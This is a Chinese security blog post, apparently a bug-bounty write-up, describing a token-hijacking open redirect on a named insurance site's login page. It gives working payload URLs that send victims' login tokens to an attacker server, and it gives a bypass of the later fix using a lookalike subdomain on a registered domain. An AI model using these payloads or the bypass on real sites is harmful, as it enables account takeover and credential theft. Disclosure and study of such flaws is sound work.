这种令牌劫持攻击方式必须保证在点击"登录"后发送的ticket或token凭证位置处于url链接上才行,也就是只支持get类型的劫持。
①正常访问该网站进行登录时链接长这样:
https://m.baoxian.com/policy/login?targetUrl=https://m.baoxian.com
②在点击"登录"时会进行302跳转,并且这个跳转的链接会携带token令牌,例如这个样子:
https://m.baoxian.com?token=7h3ae-q2f4-44hth-5365yn-64j6
③那么此时就可以构造攻击载荷:
https://m.baoxian.com/policy/login?targetUrl=http://124.70.188.36:8900(黑客服务器)
④访问以上payload地址,正常输入手机号+验证码,点击”立即登录”,即会将被劫持的token发送到攻击者个人vps上。
http://124.70.188.36:8900?token=7h3ae-q2f4-44hth-5365yn-64j6
⑤攻击者vps成功劫持到受害者发送的请求,并且请求头携带了token登录凭据
⑥然后我们就可以利用使用劫持到的受害者token成功接管账号了
这是该漏洞第一次产生,修复后再次绕过:
已修复的攻击载荷:
https://m.baoxian.com/policy/login?targetUrl=http://124.70.188.36:8900
该漏洞修复前,访问以上构造地址,正常输入手机号+验证码,点击"立即登录"即会将token发送到黑客主机上。
修复后点击登录后情况如下所示,显示"非法跳转域名"(说明已修复):
可以看到这个登录数据包如下所示,说明该漏洞已经被修复了
构造跳转地址再次绕过:
https://m.baoxian.com/policy/login?targetUrl=http://m.baoxian.com.sakeuser.cn
其中目标地址域名sakeuser.cn为我购买的注册域名。
我只需要在我的云控制台-域名,添加一条A记录,设置子域名为m.baoxian.com.sakeuser.cn即可绕过非法url检测:
可以看到,现在我们已经绕过了"非法跳转目标域名"的登录检测,成功再次劫持到了token
黑客主机再次成功劫持受害者token,使用受害者token成功接管账号
原文始发于微信公众号(迪哥讲事):SRC挖掘之302跳转登录劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论